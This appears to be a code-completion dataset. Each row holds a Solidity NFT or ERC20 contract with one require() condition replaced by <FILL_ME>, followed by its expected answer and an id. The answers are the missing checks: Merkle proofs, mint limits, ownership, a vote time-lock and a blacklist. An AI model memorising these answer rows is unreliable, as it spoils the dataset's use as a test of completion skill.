uint256 public constant FIRST_TRIBE_PRESALE_PRICE = 0.06 ether;
uint256 public BREED_PRICE = 500 ether; // $WATU
uint256 public reservedMinted;
uint256 public presaleMinted;
Status public status;
bytes32 public root;
address public WATU_ADDRESS;
address public TEAM_ADDRESS;
mapping(address => uint256) public presalePurchases;
mapping(address => uint256) public purchases;
string public PROVENANCE;
string private _contractURI;
string private _tokenBaseURI;
constructor() ERC721("Tekyan Tribe", "TEKYAN") {}
function presale(
uint256 quantity,
uint256 allowance,
bytes32[] calldata proof
) public payable {
require(status == Status.Presale, "PRESALE_CLOSED");
uint256 _totalSupply = totalSupply();
require(_totalSupply + quantity <= FIRST_TRIBE, "EXCEED_STOCK");
require(
presaleMinted + quantity <= FIRST_TRIBE_PRESALE - reservedMinted,
"EXCEED_PRESALE_STOCK"
);
require(<FILL_ME>)
require(
presalePurchases[msg.sender] + quantity <= allowance,
"EXCEED_ALLOWANCE"
);
require(
msg.value == FIRST_TRIBE_PRESALE_PRICE * quantity,
"INSUFFICIENT_ETH"
);
presalePurchases[msg.sender] += quantity;
for (uint256 i; i < quantity; i++) {
presaleMinted++;
_safeMint(msg.sender, _totalSupply++);
}
}
function mint(uint256 quantity) public payable {
}
function breed(uint256 even, uint256 odd) public {
}
function getReward() public {
}
function changeName(uint256 tokenId, string memory newName) public override {
}
function balanceOfFirstTribe(address owner) public view returns (uint256) {
}
function contractURI() public view returns (string memory) {
}
function gift(address[] calldata receivers, uint256[] calldata amounts)
external
onlyOwner
{
}
function setStatus(Status _status) external onlyOwner {
}
function setContractURI(string memory uri) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setWatuAddress(address tokenAddress) external onlyOwner {
}
function setRoyaltyAddress(address royalty, uint256 value)
external
onlyOwner
{
}
function setBreedPrice(uint256 price) external onlyOwner {
}
function setNameChangePrice(uint256 price) external override onlyOwner {
}
function setProvenance(string memory provenance) external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function _leaf(address account, uint256 allowance)
internal
pure
returns (bytes32)
{
}
function _verify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
// The following functions are overrides required by Solidity.
function _baseURI() internal view override returns (string memory) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, Royalty)
returns (bool)
{
}
}
| _verify(_leaf(msg.sender,allowance),proof),"INVALID_MERKLE_PROOF" | 231,855 | _verify(_leaf(msg.sender,allowance),proof) |
"EXCEED_ALLOWANCE" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./library/ERC721.sol";
import "./library/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./library/extensions/ERC721Nameable.sol";
import "./library/extensions/Royalty.sol";
interface IWatu {
function updateReward(
address from,
address to,
uint256 tokenId
) external;
function getReward(address to) external;
}
contract Tekyan is ERC721, ERC721Enumerable, ERC721Nameable, Royalty, Ownable {
enum Status {
Close,
Presale,
Sale,
Breed
}
uint256 public constant TOTAL = 10_000;
uint256 public constant FIRST_TRIBE = 1_000;
uint256 public constant FIRST_TRIBE_PRICE = 0.07 ether;
uint256 public constant FIRST_TRIBE_MAX_MINT = 2;
uint256 public constant FIRST_TRIBE_PRESALE = 700;
uint256 public constant FIRST_TRIBE_PRESALE_PRICE = 0.06 ether;
uint256 public BREED_PRICE = 500 ether; // $WATU
uint256 public reservedMinted;
uint256 public presaleMinted;
Status public status;
bytes32 public root;
address public WATU_ADDRESS;
address public TEAM_ADDRESS;
mapping(address => uint256) public presalePurchases;
mapping(address => uint256) public purchases;
string public PROVENANCE;
string private _contractURI;
string private _tokenBaseURI;
constructor() ERC721("Tekyan Tribe", "TEKYAN") {}
function presale(
uint256 quantity,
uint256 allowance,
bytes32[] calldata proof
) public payable {
require(status == Status.Presale, "PRESALE_CLOSED");
uint256 _totalSupply = totalSupply();
require(_totalSupply + quantity <= FIRST_TRIBE, "EXCEED_STOCK");
require(
presaleMinted + quantity <= FIRST_TRIBE_PRESALE - reservedMinted,
"EXCEED_PRESALE_STOCK"
);
require(
_verify(_leaf(msg.sender, allowance), proof),
"INVALID_MERKLE_PROOF"
);
require(<FILL_ME>)
require(
msg.value == FIRST_TRIBE_PRESALE_PRICE * quantity,
"INSUFFICIENT_ETH"
);
presalePurchases[msg.sender] += quantity;
for (uint256 i; i < quantity; i++) {
presaleMinted++;
_safeMint(msg.sender, _totalSupply++);
}
}
function mint(uint256 quantity) public payable {
}
function breed(uint256 even, uint256 odd) public {
}
function getReward() public {
}
function changeName(uint256 tokenId, string memory newName) public override {
}
function balanceOfFirstTribe(address owner) public view returns (uint256) {
}
function contractURI() public view returns (string memory) {
}
function gift(address[] calldata receivers, uint256[] calldata amounts)
external
onlyOwner
{
}
function setStatus(Status _status) external onlyOwner {
}
function setContractURI(string memory uri) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setWatuAddress(address tokenAddress) external onlyOwner {
}
function setRoyaltyAddress(address royalty, uint256 value)
external
onlyOwner
{
}
function setBreedPrice(uint256 price) external onlyOwner {
}
function setNameChangePrice(uint256 price) external override onlyOwner {
}
function setProvenance(string memory provenance) external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function _leaf(address account, uint256 allowance)
internal
pure
returns (bytes32)
{
}
function _verify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
// The following functions are overrides required by Solidity.
function _baseURI() internal view override returns (string memory) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, Royalty)
returns (bool)
{
}
}
| presalePurchases[msg.sender]+quantity<=allowance,"EXCEED_ALLOWANCE" | 231,855 | presalePurchases[msg.sender]+quantity<=allowance |
"EXCEED_MAX_MINT" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./library/ERC721.sol";
import "./library/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./library/extensions/ERC721Nameable.sol";
import "./library/extensions/Royalty.sol";
interface IWatu {
function updateReward(
address from,
address to,
uint256 tokenId
) external;
function getReward(address to) external;
}
contract Tekyan is ERC721, ERC721Enumerable, ERC721Nameable, Royalty, Ownable {
enum Status {
Close,
Presale,
Sale,
Breed
}
uint256 public constant TOTAL = 10_000;
uint256 public constant FIRST_TRIBE = 1_000;
uint256 public constant FIRST_TRIBE_PRICE = 0.07 ether;
uint256 public constant FIRST_TRIBE_MAX_MINT = 2;
uint256 public constant FIRST_TRIBE_PRESALE = 700;
uint256 public constant FIRST_TRIBE_PRESALE_PRICE = 0.06 ether;
uint256 public BREED_PRICE = 500 ether; // $WATU
uint256 public reservedMinted;
uint256 public presaleMinted;
Status public status;
bytes32 public root;
address public WATU_ADDRESS;
address public TEAM_ADDRESS;
mapping(address => uint256) public presalePurchases;
mapping(address => uint256) public purchases;
string public PROVENANCE;
string private _contractURI;
string private _tokenBaseURI;
constructor() ERC721("Tekyan Tribe", "TEKYAN") {}
function presale(
uint256 quantity,
uint256 allowance,
bytes32[] calldata proof
) public payable {
}
function mint(uint256 quantity) public payable {
require(status == Status.Sale, "SALE_CLOSED");
require(<FILL_ME>)
uint256 _totalSupply = totalSupply();
require(_totalSupply + quantity <= FIRST_TRIBE, "EXCEED_STOCK");
require(msg.value == FIRST_TRIBE_PRICE * quantity, "INSUFFICIENT_ETH");
purchases[msg.sender] += quantity;
for (uint256 i; i < quantity; i++) {
_safeMint(msg.sender, _totalSupply++);
}
}
function breed(uint256 even, uint256 odd) public {
}
function getReward() public {
}
function changeName(uint256 tokenId, string memory newName) public override {
}
function balanceOfFirstTribe(address owner) public view returns (uint256) {
}
function contractURI() public view returns (string memory) {
}
function gift(address[] calldata receivers, uint256[] calldata amounts)
external
onlyOwner
{
}
function setStatus(Status _status) external onlyOwner {
}
function setContractURI(string memory uri) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setWatuAddress(address tokenAddress) external onlyOwner {
}
function setRoyaltyAddress(address royalty, uint256 value)
external
onlyOwner
{
}
function setBreedPrice(uint256 price) external onlyOwner {
}
function setNameChangePrice(uint256 price) external override onlyOwner {
}
function setProvenance(string memory provenance) external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function _leaf(address account, uint256 allowance)
internal
pure
returns (bytes32)
{
}
function _verify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
// The following functions are overrides required by Solidity.
function _baseURI() internal view override returns (string memory) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, Royalty)
returns (bool)
{
}
}
| purchases[msg.sender]+quantity<=FIRST_TRIBE_MAX_MINT,"EXCEED_MAX_MINT" | 231,855 | purchases[msg.sender]+quantity<=FIRST_TRIBE_MAX_MINT |
"EXCEED_STOCK" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./library/ERC721.sol";
import "./library/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./library/extensions/ERC721Nameable.sol";
import "./library/extensions/Royalty.sol";
interface IWatu {
function updateReward(
address from,
address to,
uint256 tokenId
) external;
function getReward(address to) external;
}
contract Tekyan is ERC721, ERC721Enumerable, ERC721Nameable, Royalty, Ownable {
enum Status {
Close,
Presale,
Sale,
Breed
}
uint256 public constant TOTAL = 10_000;
uint256 public constant FIRST_TRIBE = 1_000;
uint256 public constant FIRST_TRIBE_PRICE = 0.07 ether;
uint256 public constant FIRST_TRIBE_MAX_MINT = 2;
uint256 public constant FIRST_TRIBE_PRESALE = 700;
uint256 public constant FIRST_TRIBE_PRESALE_PRICE = 0.06 ether;
uint256 public BREED_PRICE = 500 ether; // $WATU
uint256 public reservedMinted;
uint256 public presaleMinted;
Status public status;
bytes32 public root;
address public WATU_ADDRESS;
address public TEAM_ADDRESS;
mapping(address => uint256) public presalePurchases;
mapping(address => uint256) public purchases;
string public PROVENANCE;
string private _contractURI;
string private _tokenBaseURI;
constructor() ERC721("Tekyan Tribe", "TEKYAN") {}
function presale(
uint256 quantity,
uint256 allowance,
bytes32[] calldata proof
) public payable {
}
function mint(uint256 quantity) public payable {
}
function breed(uint256 even, uint256 odd) public {
require(status == Status.Breed, "BREED_CLOSED");
uint256 _totalSupply = totalSupply();
require(<FILL_ME>)
require(even < 1000 && odd < 1000, "ONLY_FIRST_TRIBE");
uint256 evenRemain = even % 2;
uint256 oddRemain = odd % 2;
require(evenRemain == 0 && oddRemain != 0, "NEED_EVEN_AND_ODD");
require(
ownerOf(even) == msg.sender && ownerOf(odd) == msg.sender,
"NOT_YOUR_OWN"
);
ERC20Burnable(WATU_ADDRESS).burnFrom(msg.sender, BREED_PRICE);
_safeMint(msg.sender, _totalSupply++);
}
function getReward() public {
}
function changeName(uint256 tokenId, string memory newName) public override {
}
function balanceOfFirstTribe(address owner) public view returns (uint256) {
}
function contractURI() public view returns (string memory) {
}
function gift(address[] calldata receivers, uint256[] calldata amounts)
external
onlyOwner
{
}
function setStatus(Status _status) external onlyOwner {
}
function setContractURI(string memory uri) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setWatuAddress(address tokenAddress) external onlyOwner {
}
function setRoyaltyAddress(address royalty, uint256 value)
external
onlyOwner
{
}
function setBreedPrice(uint256 price) external onlyOwner {
}
function setNameChangePrice(uint256 price) external override onlyOwner {
}
function setProvenance(string memory provenance) external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function _leaf(address account, uint256 allowance)
internal
pure
returns (bytes32)
{
}
function _verify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
// The following functions are overrides required by Solidity.
function _baseURI() internal view override returns (string memory) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, Royalty)
returns (bool)
{
}
}
| _totalSupply+1<=TOTAL,"EXCEED_STOCK" | 231,855 | _totalSupply+1<=TOTAL |
"NOT_YOUR_OWN" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./library/ERC721.sol";
import "./library/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./library/extensions/ERC721Nameable.sol";
import "./library/extensions/Royalty.sol";
interface IWatu {
function updateReward(
address from,
address to,
uint256 tokenId
) external;
function getReward(address to) external;
}
contract Tekyan is ERC721, ERC721Enumerable, ERC721Nameable, Royalty, Ownable {
enum Status {
Close,
Presale,
Sale,
Breed
}
uint256 public constant TOTAL = 10_000;
uint256 public constant FIRST_TRIBE = 1_000;
uint256 public constant FIRST_TRIBE_PRICE = 0.07 ether;
uint256 public constant FIRST_TRIBE_MAX_MINT = 2;
uint256 public constant FIRST_TRIBE_PRESALE = 700;
uint256 public constant FIRST_TRIBE_PRESALE_PRICE = 0.06 ether;
uint256 public BREED_PRICE = 500 ether; // $WATU
uint256 public reservedMinted;
uint256 public presaleMinted;
Status public status;
bytes32 public root;
address public WATU_ADDRESS;
address public TEAM_ADDRESS;
mapping(address => uint256) public presalePurchases;
mapping(address => uint256) public purchases;
string public PROVENANCE;
string private _contractURI;
string private _tokenBaseURI;
constructor() ERC721("Tekyan Tribe", "TEKYAN") {}
function presale(
uint256 quantity,
uint256 allowance,
bytes32[] calldata proof
) public payable {
}
function mint(uint256 quantity) public payable {
}
function breed(uint256 even, uint256 odd) public {
require(status == Status.Breed, "BREED_CLOSED");
uint256 _totalSupply = totalSupply();
require(_totalSupply + 1 <= TOTAL, "EXCEED_STOCK");
require(even < 1000 && odd < 1000, "ONLY_FIRST_TRIBE");
uint256 evenRemain = even % 2;
uint256 oddRemain = odd % 2;
require(evenRemain == 0 && oddRemain != 0, "NEED_EVEN_AND_ODD");
require(<FILL_ME>)
ERC20Burnable(WATU_ADDRESS).burnFrom(msg.sender, BREED_PRICE);
_safeMint(msg.sender, _totalSupply++);
}
function getReward() public {
}
function changeName(uint256 tokenId, string memory newName) public override {
}
function balanceOfFirstTribe(address owner) public view returns (uint256) {
}
function contractURI() public view returns (string memory) {
}
function gift(address[] calldata receivers, uint256[] calldata amounts)
external
onlyOwner
{
}
function setStatus(Status _status) external onlyOwner {
}
function setContractURI(string memory uri) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setWatuAddress(address tokenAddress) external onlyOwner {
}
function setRoyaltyAddress(address royalty, uint256 value)
external
onlyOwner
{
}
function setBreedPrice(uint256 price) external onlyOwner {
}
function setNameChangePrice(uint256 price) external override onlyOwner {
}
function setProvenance(string memory provenance) external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function _leaf(address account, uint256 allowance)
internal
pure
returns (bytes32)
{
}
function _verify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
// The following functions are overrides required by Solidity.
function _baseURI() internal view override returns (string memory) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, Royalty)
returns (bool)
{
}
}
| ownerOf(even)==msg.sender&&ownerOf(odd)==msg.sender,"NOT_YOUR_OWN" | 231,855 | ownerOf(even)==msg.sender&&ownerOf(odd)==msg.sender |
string(abi.encodePacked("Not enough ETH, you are allowed ",toString(maxFreeNum)," free mint")) | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721AS.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract Spell is Ownable, ERC721AS, ReentrancyGuard {
constructor(
) ERC721AS("SPELL", "Mutant Spell", 10, 5555) {}
function reserveMint(uint256 quantity) external onlyOwner {
}
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function withdrawMoney() external onlyOwner nonReentrant {
}
function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
bool public publicSaleStatus = false; //TEST PROD false
uint256 public publicPrice = 0.006900 ether; //TEST PROD 0.0069
uint256 public amountForPublicSale = 5555;
uint256 public immutable publicSalePerMint = 10;
function publicSaleMint(uint256 quantity) external payable {
require(publicSaleStatus,"Public sale has not started.");
require(totalSupply() + quantity <= collectionSize,"Max supply reached.");
require(amountForPublicSale >= quantity,"Public sale limit reached.");
require(quantity <= publicSalePerMint,"Single transaction limit reached.");
uint maxFreeNum = potionBalanceOf();
if (maxFreeNum == 0) {
maxFreeNum = 1;
} else if (maxFreeNum > 5) {
maxFreeNum = 5;
}
if (numberMinted(msg.sender) + quantity > maxFreeNum) {
uint numberToPay;
if ( numberMinted(msg.sender) >= maxFreeNum) {
numberToPay = quantity;
} else {
numberToPay = numberMinted(msg.sender) + quantity - maxFreeNum;
}
require(<FILL_ME>)
}
_safeMint(msg.sender, quantity);
amountForPublicSale -= quantity;
}
function setPublicSaleStatus(bool status) external onlyOwner {
}
function getPublicSaleStatus() external view returns(bool) {
}
function setPotionAddress(address addr) external onlyOwner {
}
function toString(uint256 value) internal pure returns (string memory) {
}
}
| uint256(publicPrice)*numberToPay<=msg.value,string(abi.encodePacked("Not enough ETH, you are allowed ",toString(maxFreeNum)," free mint")) | 231,881 | uint256(publicPrice)*numberToPay<=msg.value |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract Delegated is Ownable{
mapping(address => bool) internal _delegates;
constructor(){
}
modifier onlyDelegates {
}
function isDelegate( address addr ) public view returns ( bool ){
}
function setDelegate( address addr, bool isDelegate_ ) external onlyOwner{
}
}
contract NFT is ERC721Enumerable, Delegated, ReentrancyGuard {
using Strings for uint256;
string public baseURI = "https://gateway.pinata.cloud/ipfs/QmSweC6n7kYSJUJ56Jq9SjJKW37q57up8Ji79q6YLv9Qga/";
string public baseExtension = ".json";
bool public paused = false;
uint256 public maxSupply = 69;
uint256 public whiteListSupply = 66;
uint256 public mintPrice = 0.1 ether;
uint256 public maxPerMintCount = 1;
uint256 public whitelistMinted = 0;
address public unlimitedWallet = 0xf0E05cDB482DceAF3b93De1De78E34B94Cc3944b;
address public withdrawWallet = 0x4F03ad78F76F102ff876F0d51aE72E00c4f8c761;
mapping(address => bool) public whitelisted;
address[] initialWhitelist;
constructor() ERC721("Monstarz NFT Kings of the court", "MOG") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function mint(address _to, uint _mintCount) public payable {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setMaxSupply(uint256 _newSupply) public onlyDelegates() {
}
function setBaseURI(string memory _newBaseURI) public onlyDelegates {
}
function withdraw() public payable onlyDelegates {
require(<FILL_ME>)
}
function pause(bool _state) public onlyDelegates {
}
function setUnlimitedWallet(address _user) public onlyDelegates {
}
function setWithdrawWallet(address _user) public onlyDelegates {
}
function whitelistUser(address[] memory _user) public onlyDelegates {
}
function removeWhitelistUser(address[] memory _user) public onlyDelegates {
}
}
| payable(withdrawWallet).send(address(this).balance) | 231,964 | payable(withdrawWallet).send(address(this).balance) |
"Too soon since last participation" | // SPDX-License-Identifier: MIT
/*
This contract is part of a system designed to offer a new way to form communities, collaborate on projects, and combine forces to defeat evil.
talkOnlineToken deploys TALK, an ERC20 token implementing a 24 hr time lock owners can choose to place onto their tokens.
*/
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/**
* @title Talk Online Token
* @dev This contract deploys the TALK ERC20 token with an added 24hr time lock feature for participants.
*/
contract talkOnlineToken is ERC20 {
// Mapping of addresses to their last voting timestamps
mapping(address => uint256) public lastVoteTime;
/**
* @dev Constructor that gives the msg.sender all of the initial supply.
*/
constructor() ERC20("Talk.Online", "TALK") {
}
/**
* @dev Locks the token transferability of the caller for 24 hours after participating in a vote.
*/
function voteLock() public {
}
/**
* @notice Checks whether an address can transfer their tokens based on the voting time lock.
* @param _from Address to check.
* @return bool True if the address can transfer, false otherwise.
*/
function canTransfer(address _from) public view returns (bool) {
}
/**
* @dev Overrides the default transfer function to include a time-lock check.
* Token locking enables forums built with the token to lock funds, preventing re-use of tokens to vote repeatedly.
* @param sender Address sending the tokens.
* @param recipient Address receiving the tokens.
* @param amount Amount of tokens to transfer.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual override {
require(<FILL_ME>)
super._transfer(sender, recipient, amount);
}
/**
* @dev Makes display better
* @param addy Address being queried
* @return amount Amount of tokens owner has
*/
function getLastVoteTime(address addy) public view returns(uint){
}
}
| canTransfer(sender),"Too soon since last participation" | 232,096 | canTransfer(sender) |
"Address is blacklisted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
contract MyColibriToken is ERC20, ERC20Burnable, Pausable, AccessControl {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
mapping(address => bool) public isBlackListed;
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
constructor() ERC20("My Colibri Token", "MCTU") {
}
function pause() public onlyRole(PAUSER_ROLE) {
}
function unpause() public onlyRole(PAUSER_ROLE) {
}
function mint(address to, uint256 amount) public onlyRole(MINTER_ROLE) {
}
function _beforeTokenTransfer(address from, address to, uint256 amount)
internal
whenNotPaused
override
{
require(<FILL_ME>)
super._beforeTokenTransfer(from, to, amount);
}
function getBlackListStatus(address _user) public view returns (bool) {
}
function addBlackList(address _evilUser) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function removeBlackList (address _clearedUser) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
}
| isBlackListed[from]==false,"Address is blacklisted" | 232,285 | isBlackListed[from]==false |
"rescue: caller must own token on captor contract" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./DefaultOperatorFilterer.sol";
import "./interfaces/IOmnibus.sol";
/// @title Vogu Rescue
/// @author Atlas C.O.R.P.
contract VoguRescue is ERC721, DefaultOperatorFilterer, Ownable {
enum RescueState {
OFF,
MIGRATION,
ACTIVE
}
IOmnibus public immutable captorContract;
RescueState public rescueState;
string public baseURI;
uint256 public counter;
uint256 public constant maxSupply = 304;
mapping(uint256 => bool) public tokensClaimed;
event TokenUsedForClaim(uint256 indexed tokenId);
constructor(
string memory _name,
string memory _symbol,
address _captorContract,
string memory _uri
) ERC721(_name, _symbol) {
}
/// @notice mints new Vogu token and burns tokenId on old Vogu contract
/// @param _tokenId is the Id of the NFT
function rescue(uint256 _tokenId) external {
require(
rescueState == RescueState.MIGRATION,
"rescue: Rescue State must be MIGRATION"
);
require(<FILL_ME>)
require(!tokensClaimed[_tokenId], "rescue: token already claimed");
tokensClaimed[_tokenId] = true;
emit TokenUsedForClaim(_tokenId);
_safeMint(msg.sender, ++counter);
captorContract.burn(_tokenId);
}
/// @notice mints new vogu tokens and burns old tokenId's on old contract
/// @param _tokenIds are the Id's of the NFT's
function rescueBatch(uint256[] calldata _tokenIds) external {
}
/// @param _amount is the amount of tokens owner wants to mint
function mintReserveTokens(uint256 _amount) external onlyOwner {
}
/// @param _rescueState is the state of the contract either OFF or ACTIVE
function setRescueState(RescueState _rescueState) external onlyOwner {
}
/// @param _URI is the IPFS link
function setBaseURI(string memory _URI) external onlyOwner {
}
function _baseURI() internal view override(ERC721) returns (string memory) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override onlyAllowedOperator(from) {
}
}
| captorContract.ownerOf(_tokenId)==msg.sender,"rescue: caller must own token on captor contract" | 232,431 | captorContract.ownerOf(_tokenId)==msg.sender |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.